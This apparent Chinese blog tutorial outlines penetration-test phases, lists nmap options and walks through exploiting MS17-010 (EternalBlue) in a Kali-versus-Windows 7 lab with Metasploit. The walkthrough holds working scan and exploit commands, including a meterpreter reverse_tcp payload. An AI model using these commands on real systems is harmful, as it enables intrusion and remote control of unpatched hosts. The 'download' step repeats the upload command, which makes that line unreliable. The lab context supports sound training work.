目录
一、渗透测试过程
前期交互:范围,规则,需求
在前期交互阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。 该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目 管理与规划等活动。
情报收集:资产,账号
在目标范围确定之后,将进入情报搜集阶段,渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。 渗透测试者可以使用的情报搜集方法包括公开来源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。
威胁建模:发现脆弱性目标
在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进行威胁建模与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。 通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道。
漏洞分析:确定可行方案
在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析(Vulnerability Analysis)阶段。 在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。
渗透攻击:开始攻击
渗透攻击是渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。 渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中,渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现。
后渗透攻击:深入利用
后渗透攻击是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。 在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置是否准确并且可行,也取决于团队自身的创新意识、知识范畴、实际经验和技术能力。
报告:文档输出
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。
二、工具介绍
1、nmap
- nmap是目前最流行的网络扫描工具,不仅能准确探测单台主机的详细情况,而且能高效地对大范围的Ip地址段扫描。 能扫描目标网络上有哪些主机上存活的,哪些服务是开放的,甚至知道网络中使用了何种类型的防火墙设备等。
- 常见指令
- -sT:TCP connect扫描
- -sF/-sX/-sN:通过发送一些特殊的标志位以避开设备或软件的检测
- -sP:通过发送ICMP echo请求探测主机是否存活,原理同Ping
- -sU:探测目标主机开放了哪些UDP端口
- -sA:TCP ACK扫描,对防火墙上未屏蔽的端口进行探测
- -sV:获取对应端口上更为详细的服务版本信息
- -Pn:在扫描之前,不发送ICMP echo请求测试目标是否存活
- -O:启动对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息-F:快速扫描模式,只扫描在nmap-services中列出的端口
- -A 选项用于使用进攻性(Aggressive)方式扫描;
- 举例
对靶机进行全扫描
nmap -A -T4 -v -Pn 192.168.111.128
使用-sV选项获取详细的服务版本信息
nmap -sS -sV 192.168.111.128
2、Metasploit
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。
三、MS17-010(永恒之蓝)漏洞
1、环境
- 软件:Vmware Workstation 17
- 攻击机:Kali
- 靶机:Windows7
2、工具
- Nmap
- Metasploit
3、前期准备
查看两台主机是否互联:ping+另一台主机的IP地址
首先查看主机的IP地址
Kali:ifconfig win7:ipconfig
使用ping命令查看
如上显示,则表示两台主机互联
注:如果两台主机不互联,可以查看对应的网络适配器是否相同
4、复现
- 打开kali终端,将权限设置为管理员权限
sudo su
- 使用nmap进行扫描
nmap -T4 -v -Pn 192.168.111.128
可以看到靶机的445端口是开放的,那么我们就可以尝试对靶机进行ms17-010漏洞攻击
- 启用msf
msfconsole
- 搜索漏洞
search ms17-010
如上图所示,exploit为攻击模块,auxiliary是辅助模块
- 使用辅助模块查看是否含有ms17-010漏洞
use 3
- 查找该模块需要填写或修改的信息
show options
- 根据反馈,填写相应信息,这里,我们需要填写靶机的IP地址
set rhost 192.168.111.128
- 运行验证
run
验证可得存在该漏洞,那么我们就可以发起攻击啦
- 使用攻击模块进行攻击(这里我使用的是0号模块)
use 0
-
查看参数信息
show options
-
设置攻击负载、受害者ip(win7)、攻击者ip(kali)
set rhost 192.168.111.128
set payload windows/64/meterpreter/reverse_tcp
-
查看设置
show options
-
开始攻击
run
-
截屏操作
screenshot
-
上传文件
upload /home/kali/ebGZJjai.jpeg c://
成功上传
- 下载文件
upload /home/kali/ebGZJjai.jpeg c://
同理,还可使用指令进行其他操作